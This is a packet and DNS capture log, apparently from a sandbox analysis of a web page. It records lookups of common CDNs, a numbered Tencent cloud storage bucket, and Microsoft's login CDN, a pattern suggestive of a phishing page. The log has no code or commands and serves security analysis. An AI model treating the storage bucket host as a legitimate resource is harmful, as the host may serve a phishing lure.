Sep 16, 2024 21:11:54.776192904 CEST	49695	80	192.168.2.16	93.184.221.240
Sep 16, 2024 21:11:54.781430006 CEST	80	49695	93.184.221.240	192.168.2.16
Sep 16, 2024 21:11:54.781512022 CEST	49695	80	192.168.2.16	93.184.221.240
Sep 16, 2024 21:11:55.707547903 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:55.707592964 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:55.707706928 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:55.708127022 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:55.708142042 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.513744116 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.513931036 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.515435934 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.515453100 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.515796900 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.517707109 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.563405037 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.845798969 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.845832109 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.845850945 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.845933914 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.845956087 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.846010923 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.847377062 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.847429037 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.847445011 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.847455978 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.847486973 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.847536087 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.847588062 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.849646091 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.849662066 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:56.849680901 CEST	49734	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:56.849688053 CEST	443	49734	40.127.169.103	192.168.2.16
Sep 16, 2024 21:12:04.942643881 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:04.942730904 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:04.942836046 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:04.943006992 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:04.943032980 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:05.751928091 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:05.752054930 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:05.768949032 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:05.769006014 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:05.769920111 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:05.770445108 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:05.770498991 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:05.770525932 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:06.090781927 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:06.090845108 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:06.090895891 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:06.090945959 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:06.090979099 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:06.091018915 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:06.091111898 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:06.091171026 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:06.091495991 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:06.091542006 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:06.091573954 CEST	49735	443	192.168.2.16	40.126.32.138
Sep 16, 2024 21:12:06.091588974 CEST	443	49735	40.126.32.138	192.168.2.16
Sep 16, 2024 21:12:06.177162886 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:06.177216053 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:06.177308083 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:06.179339886 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:06.179368973 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:06.839880943 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:06.840022087 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:06.848006010 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:06.848040104 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:06.848618984 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:06.848701954 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:06.850738049 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:06.850794077 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:07.152693987 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:07.152793884 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:07.152853966 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:07.152888060 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:07.152928114 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:07.152946949 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:07.152972937 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:07.153031111 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:07.153031111 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:07.153095961 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:07.156719923 CEST	49736	443	192.168.2.16	2.23.209.160
Sep 16, 2024 21:12:07.156750917 CEST	443	49736	2.23.209.160	192.168.2.16
Sep 16, 2024 21:12:16.316209078 CEST	49738	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:12:16.316298008 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:16.316407919 CEST	49738	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:12:16.316643000 CEST	49738	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:12:16.316695929 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:16.965356112 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:16.965802908 CEST	49738	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:12:16.965828896 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:16.966299057 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:16.966718912 CEST	49738	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:12:16.966809988 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:17.016120911 CEST	49738	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:12:26.871809006 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:26.871995926 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:26.872081041 CEST	49738	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:12:27.994673967 CEST	49738	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:12:27.994741917 CEST	443	49738	142.250.185.164	192.168.2.16
Sep 16, 2024 21:12:45.524132967 CEST	49697	80	192.168.2.16	192.229.221.95
Sep 16, 2024 21:12:45.530391932 CEST	80	49697	192.229.221.95	192.168.2.16
Sep 16, 2024 21:12:45.530500889 CEST	49697	80	192.168.2.16	192.229.221.95

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 16, 2024 21:11:11.718677998 CEST	53	53582	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:11.755827904 CEST	53	53274	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.592338085 CEST	57751	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.592338085 CEST	59729	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.593127966 CEST	63251	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.593591928 CEST	58954	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.594198942 CEST	50900	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.594485044 CEST	58431	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.597070932 CEST	54576	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.597369909 CEST	56179	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.598018885 CEST	53546	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.598193884 CEST	65087	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:12.601557970 CEST	53	57751	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.602083921 CEST	53	59729	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.603447914 CEST	53	63251	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.603743076 CEST	53	58954	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.603756905 CEST	53	50900	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.603765965 CEST	53	58431	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.606293917 CEST	53	61581	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.606986046 CEST	53	56179	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.613584995 CEST	53	54576	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.769005060 CEST	53	57933	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:12.902870893 CEST	53	65087	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.060674906 CEST	53	53546	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.303590059 CEST	49980	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:13.303833008 CEST	54167	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:13.311669111 CEST	53	49980	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.312647104 CEST	53	54167	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.337982893 CEST	55371	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:13.338148117 CEST	50184	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:13.344935894 CEST	53	55371	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.345118999 CEST	53	50184	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.356839895 CEST	58616	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:13.357048035 CEST	60712	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:13.364839077 CEST	53	60712	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.364850044 CEST	53	58616	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.409544945 CEST	55829	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:13.409702063 CEST	65329	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:13.419826984 CEST	53	55829	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.419862986 CEST	53	65329	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:13.904522896 CEST	53	52527	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:15.359746933 CEST	63203	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:15.359884024 CEST	55498	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:15.687282085 CEST	53	55498	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:15.836627007 CEST	53	63203	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:16.262938976 CEST	54522	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:16.263079882 CEST	61053	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:16.269710064 CEST	53	54522	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:16.270464897 CEST	53	61053	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:19.975791931 CEST	61270	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:19.975955009 CEST	63159	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:19.982561111 CEST	53	63159	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:19.984978914 CEST	53	61270	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:21.126405001 CEST	50055	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:21.126578093 CEST	57520	53	192.168.2.16	1.1.1.1
Sep 16, 2024 21:11:21.133435965 CEST	53	57520	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:21.134305000 CEST	53	50055	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:29.844438076 CEST	53	63736	1.1.1.1	192.168.2.16
Sep 16, 2024 21:11:48.595568895 CEST	53	63425	1.1.1.1	192.168.2.16
Sep 16, 2024 21:12:11.006897926 CEST	53	59549	1.1.1.1	192.168.2.16
Sep 16, 2024 21:12:11.727736950 CEST	53	62787	1.1.1.1	192.168.2.16
Sep 16, 2024 21:12:12.089354038 CEST	138	138	192.168.2.16	192.168.2.255
Sep 16, 2024 21:12:40.759857893 CEST	53	55077	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 16, 2024 21:11:12.592338085 CEST	192.168.2.16	1.1.1.1	0xcea2	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.592338085 CEST	192.168.2.16	1.1.1.1	0x8b08	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:12.593127966 CEST	192.168.2.16	1.1.1.1	0x5971	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.593591928 CEST	192.168.2.16	1.1.1.1	0x3915	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:12.594198942 CEST	192.168.2.16	1.1.1.1	0x3e76	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.594485044 CEST	192.168.2.16	1.1.1.1	0x82a	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:12.597070932 CEST	192.168.2.16	1.1.1.1	0x8356	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.597369909 CEST	192.168.2.16	1.1.1.1	0x13a8	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:12.598018885 CEST	192.168.2.16	1.1.1.1	0xf8f6	Standard query (0)	1203395472-1323985617.cos.sa-saopaulo.myqcloud.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.598193884 CEST	192.168.2.16	1.1.1.1	0x4400	Standard query (0)	1203395472-1323985617.cos.sa-saopaulo.myqcloud.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:13.303590059 CEST	192.168.2.16	1.1.1.1	0x8d87	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.303833008 CEST	192.168.2.16	1.1.1.1	0x7c02	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:13.337982893 CEST	192.168.2.16	1.1.1.1	0xf473	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.338148117 CEST	192.168.2.16	1.1.1.1	0x24ee	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:13.356839895 CEST	192.168.2.16	1.1.1.1	0x461	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.357048035 CEST	192.168.2.16	1.1.1.1	0x76fe	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:13.409544945 CEST	192.168.2.16	1.1.1.1	0xe271	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.409702063 CEST	192.168.2.16	1.1.1.1	0x6b60	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:15.359746933 CEST	192.168.2.16	1.1.1.1	0xa960	Standard query (0)	1203395472-1323985617.cos.sa-saopaulo.myqcloud.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:15.359884024 CEST	192.168.2.16	1.1.1.1	0xc766	Standard query (0)	1203395472-1323985617.cos.sa-saopaulo.myqcloud.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:16.262938976 CEST	192.168.2.16	1.1.1.1	0xfa1d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:16.263079882 CEST	192.168.2.16	1.1.1.1	0x6eee	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 16, 2024 21:11:19.975791931 CEST	192.168.2.16	1.1.1.1	0xa95	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:19.975955009 CEST	192.168.2.16	1.1.1.1	0x2fd8	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Sep 16, 2024 21:11:21.126405001 CEST	192.168.2.16	1.1.1.1	0xe776	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:21.126578093 CEST	192.168.2.16	1.1.1.1	0xd831	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 16, 2024 21:11:12.601557970 CEST	1.1.1.1	192.168.2.16	0xcea2	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.601557970 CEST	1.1.1.1	192.168.2.16	0xcea2	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.601557970 CEST	1.1.1.1	192.168.2.16	0xcea2	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.601557970 CEST	1.1.1.1	192.168.2.16	0xcea2	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.603447914 CEST	1.1.1.1	192.168.2.16	0x5971	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.603447914 CEST	1.1.1.1	192.168.2.16	0x5971	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.603743076 CEST	1.1.1.1	192.168.2.16	0x3915	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 16, 2024 21:11:12.603756905 CEST	1.1.1.1	192.168.2.16	0x3e76	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.603756905 CEST	1.1.1.1	192.168.2.16	0x3e76	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.603765965 CEST	1.1.1.1	192.168.2.16	0x82a	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Sep 16, 2024 21:11:12.606986046 CEST	1.1.1.1	192.168.2.16	0x13a8	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Sep 16, 2024 21:11:12.613584995 CEST	1.1.1.1	192.168.2.16	0x8356	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:12.613584995 CEST	1.1.1.1	192.168.2.16	0x8356	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.060674906 CEST	1.1.1.1	192.168.2.16	0xf8f6	No error (0)	1203395472-1323985617.cos.sa-saopaulo.myqcloud.com	cos.sa-saopaulo.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:13.060674906 CEST	1.1.1.1	192.168.2.16	0xf8f6	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.205	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.060674906 CEST	1.1.1.1	192.168.2.16	0xf8f6	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.247	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.060674906 CEST	1.1.1.1	192.168.2.16	0xf8f6	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.241	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.060674906 CEST	1.1.1.1	192.168.2.16	0xf8f6	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.15	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.060674906 CEST	1.1.1.1	192.168.2.16	0xf8f6	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.10	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.060674906 CEST	1.1.1.1	192.168.2.16	0xf8f6	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.191	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.060674906 CEST	1.1.1.1	192.168.2.16	0xf8f6	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.192	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.311669111 CEST	1.1.1.1	192.168.2.16	0x8d87	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.311669111 CEST	1.1.1.1	192.168.2.16	0x8d87	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.312647104 CEST	1.1.1.1	192.168.2.16	0x7c02	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 16, 2024 21:11:13.344935894 CEST	1.1.1.1	192.168.2.16	0xf473	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.344935894 CEST	1.1.1.1	192.168.2.16	0xf473	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.345118999 CEST	1.1.1.1	192.168.2.16	0x24ee	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Sep 16, 2024 21:11:13.364850044 CEST	1.1.1.1	192.168.2.16	0x461	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.364850044 CEST	1.1.1.1	192.168.2.16	0x461	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.364850044 CEST	1.1.1.1	192.168.2.16	0x461	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.364850044 CEST	1.1.1.1	192.168.2.16	0x461	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.419826984 CEST	1.1.1.1	192.168.2.16	0xe271	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.419826984 CEST	1.1.1.1	192.168.2.16	0xe271	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:13.419862986 CEST	1.1.1.1	192.168.2.16	0x6b60	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Sep 16, 2024 21:11:15.836627007 CEST	1.1.1.1	192.168.2.16	0xa960	No error (0)	1203395472-1323985617.cos.sa-saopaulo.myqcloud.com	cos.sa-saopaulo.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:15.836627007 CEST	1.1.1.1	192.168.2.16	0xa960	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.191	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:15.836627007 CEST	1.1.1.1	192.168.2.16	0xa960	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.192	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:15.836627007 CEST	1.1.1.1	192.168.2.16	0xa960	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.205	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:15.836627007 CEST	1.1.1.1	192.168.2.16	0xa960	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.247	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:15.836627007 CEST	1.1.1.1	192.168.2.16	0xa960	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.241	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:15.836627007 CEST	1.1.1.1	192.168.2.16	0xa960	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.15	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:15.836627007 CEST	1.1.1.1	192.168.2.16	0xa960	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.10	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:16.269710064 CEST	1.1.1.1	192.168.2.16	0xfa1d	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:16.270464897 CEST	1.1.1.1	192.168.2.16	0x6eee	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 16, 2024 21:11:19.982561111 CEST	1.1.1.1	192.168.2.16	0x2fd8	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:19.982561111 CEST	1.1.1.1	192.168.2.16	0x2fd8	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:19.984978914 CEST	1.1.1.1	192.168.2.16	0xa95	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:19.984978914 CEST	1.1.1.1	192.168.2.16	0xa95	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:19.984978914 CEST	1.1.1.1	192.168.2.16	0xa95	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:20.047606945 CEST	1.1.1.1	192.168.2.16	0x6999	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:20.047606945 CEST	1.1.1.1	192.168.2.16	0x6999	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:20.047606945 CEST	1.1.1.1	192.168.2.16	0x6999	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Sep 16, 2024 21:11:20.852911949 CEST	1.1.1.1	192.168.2.16	0x649e	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 16, 2024 21:11:20.852911949 CEST	1.1.1.1	192.168.2.16	0x649e	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
